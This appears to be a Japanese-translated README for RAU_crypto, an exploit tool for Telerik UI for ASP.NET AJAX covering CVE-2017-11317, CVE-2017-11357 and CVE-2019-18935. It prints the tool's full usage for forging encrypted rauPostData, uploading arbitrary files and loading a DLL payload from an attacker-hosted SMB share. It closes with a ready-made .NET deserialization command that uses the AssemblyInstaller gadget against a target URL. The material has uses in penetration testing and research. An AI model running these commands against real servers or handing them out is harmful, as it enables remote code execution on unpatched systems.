
Telerik UI for ASP.NET AJAX ファイルアップロードと .NET 逆シリアル化エクスプロイト(CVE-2017-11317、CVE-2017-11357、CVE-2019-18935)
Telerik UI for ASP.NET AJAX 向けの複合エクスプロイトです。
攻撃者がホストする SMB サービスからリモートペイロードを取得するターゲットの能力をテストする機能にも対応しました。必要な前提条件が整っているかどうかをテストするには、Burp Collaborator や Responder を利用してください。
エクスプロイトが機能するには、通常、ハードコードされたキーを持つバージョンが必要か、または web.config の内容を開示できる場合など、キーを知っている必要があります。このエクスプロイトは、Telerik.Web.UI.WebResource.axd?type=rau で使用される rauPostData の復号と暗号化を直接行うこともできます。
pip3 install pycryptodome または pip3 install pycryptodomex でインストール私の別の Telerik UI エクスプロイト(CVE-2017-9248 用)もおそらく興味を引くでしょう。こちらで入手できます:
注 - 最後の4項目は完了しているが公開されていません。
ファイルアップロード(CVE-2017-11317)の脆弱性は他の人によって発見され、@straight_blast @pwntester @olekmirosh に功績があると思います。発表直後、私は仕事の過程で Telerik ライブラリに遭遇したため、このライブラリと脆弱性を調査し、2017年7月にこのエクスプロイトを作成しました。また、関連する安全でない直接オブジェクト参照について CVE-2017-11357 を報告しました。
.NET 逆シリアル化 (CVE-2019-18935) の脆弱性は @mwulftange によって発見されました。
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
復号スクリーンショット
アップロードスクリーンショット
.NET 逆シリアル化のカスタムペイロードの詳細については、この脆弱性を発見した @mwulftange による Code White ブログの素晴らしい記事を以下のリンクで参照してください。
更新 - このエクスプロイトの機能を取り入れた Caleb Gross @noperator による代替エクスプロイトがあります。すべてを説明する素晴らしいブログ記事もあります。また、RAU_Crypto への貢献について Caleb に感謝します。
その他の関連リンク。
.NET 逆シリアル化ペイロードの例:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
mixed Mode DLL については、私の別の GitHub リポジトリを参照してください:
カスタムペイロード機能に影響を与えた @irsdl に特に感謝します。
リモート DLL 機能に影響を与えた @rwincey にクレジットを捧げます。